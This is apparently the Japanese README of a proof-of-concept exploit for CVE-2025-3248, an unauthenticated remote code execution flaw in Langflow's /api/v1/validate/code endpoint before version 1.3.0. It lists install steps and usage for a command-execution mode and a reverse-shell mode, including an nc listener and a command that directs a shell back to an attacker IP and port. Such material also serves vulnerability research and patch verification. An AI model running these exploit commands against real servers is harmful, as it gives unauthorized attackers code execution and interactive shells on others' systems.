CVE-2025-3248 - Langflow コード検証エンドポイント RCE

Langflowのコード検証エンドポイントにおけるリモートコード実行の脆弱性を示す概念実証エクスプロイトです。この脆弱性はLangflow 1.3.0より前のバージョンに影響し、認証されていない攻撃者が細工したHTTPリクエストを通じて任意のコードを実行できるようにします。

脆弱性の詳細

• CVE ID: CVE-2025-3248
• 影響を受けるバージョン: < 1.3.0
• 攻撃ベクター: リモート
• 認証要件: 不要
• 影響: リモートコード実行（RCE）
• エンドポイント: /api/v1/validate/code

前提条件

• Python 3.x
• 必要なPythonパッケージ:
  • requests
  • colorama

インストール

1. リポジトリをクローン:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. 依存関係をインストール:

pip install requests colorama

使用方法

このエクスプロイトは2つの動作モードをサポートしています:

1. コマンド実行モード

ターゲットシステム上で単一のコマンドを実行します:

python3 cve-2025-3248.py cmd <target_url> "<command>"

例:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. リバースシェルモード

対話型リバースシェルを起動します:

1. まず、自分のマシンでリスナーを起動します:

nc -lvnp 4444

2. 次にエクスプロイトを実行します:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

例:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444